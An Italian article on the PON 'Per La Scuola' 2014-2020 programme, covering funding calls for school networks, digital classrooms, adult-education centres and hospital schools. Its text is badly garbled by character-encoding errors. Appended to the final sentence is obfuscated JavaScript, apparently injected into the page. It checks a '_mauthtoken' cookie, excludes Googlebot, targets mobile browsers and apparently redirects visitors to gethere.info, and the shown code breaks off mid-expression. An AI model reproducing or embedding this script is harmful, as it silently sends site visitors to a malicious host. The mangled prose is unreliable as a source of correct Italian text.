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I PON. Il punto sulla situazione!

Gandolfo Torregrossa

A piA? di un annoAi?? dallai??i??approvazioneAi?? delAi?? PON ai???Per La Scuolaai???, ( C (2014) 9952) del 17 dicembre 2014),Ai?? il programma a titolaritAi??Ai?? del Ministero dell’Istruzione, dell’UniversitAi?? e dellaAi??Ricerca (MIUR) per il periodo 2014-2020 sembra aver superato la fase iniziale connessa alla conoscenza: della sua architettura nominativa, alle risorse messe in campo e alle modalitAi?? di partecipazione.


Il punto

Le scuole italiane cominciano conoscereAi?? ormai i meccanismi di partecipazione perAi?? accedere alle risorse comunitarie che ricordo sonoAi?? aggiuntive rispetto a quelle rese disponibili dal Governo nazionale. Il programma A? anche uno strumento importante per sostenere le politiche italiane in materia di istruzione, a partire dallaAi?? ai???La Buona Scuolaai??? (legge 107/2015). Ci eravamo lasciatiAi?? con il mioAi?? precedente intervento su classi 20 sulla pubblicazione dellai??i?? avviso 9035 del 13 luglio 2015Ai?? per la realizzazione, l’ampliamento o l’adeguamento delle infrastrutture di rete LAN/WLANAi?? del Fondo Europeo di Sviluppo Regionale (FESR) – Obiettivo specifico ai??i?? 10.8 link dellai??i??avviso .Ai?? Lai??i??autoritAi?? di Gestione del PONAi?? , in quellai??i??occasione , Ai?? haAi?? messoAi?? in linea i tre ambienti web a supporto del programma:

  1. Informazione news , normativa e notizie generaliAi?? – FONDI STRUTTURALI EUROPEI PON
  2. Piattaforma GESTIONE DEGLI INTERVENTIAi?? per presentare e gestire i progetti PON
  3. Piattaforma per la gestione contabile amministrativa GESTIONE FINANZIARIA

I tre ambienti sono costantemente in progress perchAi??Ai?? leAi?? news , documentazione eAi?? processi gestionali sono aggiornati man mano che il programma prosegue il suo percorso, va da se che per chi opera nel settore dei PON gli ambienti costituiscono oggetto di quotidiana consultazione.

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Procedure e prospettive

In relazione proprio agli aggiornamenti delle procedure segnaloAi?? una comunicazione relativa alle specifiche per l’invio dei Piani alla AutoritAi?? di GestioneAi?? Nota prot. 22259 del 30 novembre 2015.

Nel mese di ottobreAi?? arriva il 2Ai?? nuovo importante avviso per la realizzazione di ambienti digitaliAi?? prot. 12810 del 15 ottobre 2015 e allegatiAi?? . Ai?? Lai??i?? avviso, finalizzato a migliorare le dotazioni degli ambienti digitali prioritariamente delle Istituzioni Scolastiche piA? deficitarie,Ai?? offre alle scuole del primo e del secondo ciclo i fondi per acquistareAi?? tecnologie sempre piA? aggiornate ed efficaciAi?? da utilizzare per la didattica in classe.

La tipologia di interventi finanziabili A? la seguente:

  • SPAZI ALTERNATIVI per lai??i??apprendimento: ambienti in genere piA? grandi delle aule per accogliere attivitAi?? diversificate, piA? classi, gruppi di classi (verticali, aperti, ecc.). Tali spazi possono essere finalizzati anche alla formazione dei docenti interna alla scuola o sul territorio
  • LABORATORI MOBILI: dispositivi e strumenti mobili in carrelli e box mobili, a disposizione di tutta la scuola, che possono trasformare unai??i??aula “normale” in uno spazio multimediale e di interazione
  • AULE “AUMENTATE” dalla tecnologia: un numero congruo di aule tradizionali arricchite con dotazioni per la fruizione collettiva e individuale del web e di contenuti, per lai??i??interazione di aggregazioni diverse in gruppi di apprendimento, in collegamento wired o wireless, per una integrazione quotidiana del digitale nella didattica.
  • POSTAZIONI INFORMATICHEAi?? conAi?? alcune tipologie di strumenti : schermi informativi anche interattivi o video proiettori wireless; postazioni pc (desktop o laptop); dispositivi mobili; colonnine informative; postazioni (pc laptop o desktop); access point per esterni, hotspot; dispositivi per la lettura ottica di x-code (QR code, codice a barre); strumenti per la configurazione e produzione di badge personali e software per la loro gestione; software per registro on line o la gestione interna dell’utenza scolastica.

A fine dicembre vengono pubblicate nella pagina dei Fondi StrutturaliAi?? Europei PON le graduatorieAi?? nazionali su base regionale del 1Ai?? avviso relativo infrastrutture di rete LAN/WLAN,Ai?? si attendono intanto le note autorizzative. Si chiude cosAi?? una fase molto importante della prima candidatura e le scuole ora dovranno perfezionare il processo con la gestione del progetto autorizzato sempre con lai??i??utilizzo delle due piattaforme di gestioneAi?? degli interventi e finanziaria.

Siamo ad oggi,Ai?? che cosaAi?? bolle in pentola?

  1. I nuovi avvisi giAi??Ai?? pubblicati
  2. Graduatorie su base regionale del 2Ai?? avviso Ambienti digitali ( non ancora pubblicate)

Relativamente al punto AAi?? i nuovi avvisi pubblicati riguardano:

  1. Avviso prot. n. 398 del 5 gennaio 2016 e allegato
  1. Avviso prot. n. 464 del 7 gennaio 2016 e allegato

Lai??i?? avviso n. 398Ai?? a valere su FESRAi?? Ob. specifico 10.8 A?Ai?? rivolto a 126 Centri provinciali nazionali per l’istruzione degli adulti (CPIA) per la realizzazione delle reti LAN/WLAN , degli ambienti digitali e postazioni informatiche. Le risorseAi?? messe in campo dal PON sono oltre 5,6 milioni di euro per dotare di Reti Wi-Fi, laboratori mobili e ambienti digitali per lai??i??apprendimento.Ai?? Le modalitAi?? di partecipazione sono indicate in maniera dettagliata nellai??i??avviso e comunque risultano identiche a quelle giAi?? previste nei precedenti bandi. Lai??i??area del sistema Informativo predisposta alla presentazione delle proposte resterAi?? aperta dalle ore 8.00 del giorno 14 gennaio 2015 alle ore 14.00 del giorno 10 marzo 2016.

Per i progetti per la realizzazione di infrastrutture di rete LAN/WAN, A? previsto un finanziamento massimo di 18.000 euro;

Per i progetti per la realizzazione di ambienti digitali, come spazi alternativi per lai??i??apprendimento, laboratori mobili per varie discipline, aule tradizionali arricchite da dotazioni tecnologiche A? previsto un finanziamento massimo di 25.000 euro per singolo progetto;

Per le proposte per postazioni informatiche e per lai??i??accesso dellai??i??utenza e del personale ai dati e ai servizi digitali della scuola, A? previstoAi?? uno stanziamento massimo di 3.000 euro.

Lai??i?? avviso n. 464 a valere su FESRAi?? Ob. specifico 10.8 A? rivolto a 18Ai?? scuole polo ospedaliere presenti sul territorio nazionale. Il finanziamentoAi?? prevede risorse per unAi?? complessivo diAi?? 3 miliardi di euroAi?? per il potenziamento dell’offerta formativa, il rafforzamento delle competenze degli studenti, l’innovazione degli ambienti di apprendimento e della didattica. Le scuole ospedaliere potranno utilizzare le risorse per acquistare attrezzature digitali, dispositivi e strumenti di connessione ad internet.Ai?? Si supporta , quindi , il servizio di scuola domiciliare perAi?? garantireAi?? agli alunni ricoverati l’effettiva possibilitAi?? di continuare il proprio percorso formativo attraverso lezioni individualizzate. Con il supporto della tecnologia verrAi?? garantito un collegamento con le aule scolastiche per non isolare gli studenti costretti dalla malattia a lunghi periodi di cura, ai???un ponte tra scuole, la scuola con i propri compagni e la scuola in ospedaleai??? .

I progetti riguardano la sotto azione 10.8.1. A3 Ambienti multimediali – Postazioni mobili.Ai?? Le modalitAi?? di partecipazione sono indicate in maniera dettagliata nellai??i??avviso e comunque risultano identiche a quelle giAi?? previste nei precedenti bandi. Lai??i??area del sistema Informativo predisposta alla presentazione delle proposte resterAi?? aperta dalle ore 10.00 del giorno 18 gennaio 2015 alle ore 14.00 del giorno 14 marzo 2016. Per i progetti per la realizzazione di laboratori mobili A? previsto un finanziamento massimo di 10.000 euro per singolo progetto;

L a prosecuzioneAi?? del programma verosimilmente prevede nei prossimi mesi degli avvisi che riguardano la formazione , a valere sul FSE (Fondo Sociale Europeo) , con Azioni di contrasto alla dispersione scolasticaAi?? ,Ai?? Azioni volte allai??i??innalzamento delle competenze chiave ,Ai?? Azioni di raccordo scuola-lavoro e Azioni di formazione rivolte agli insegnanti .var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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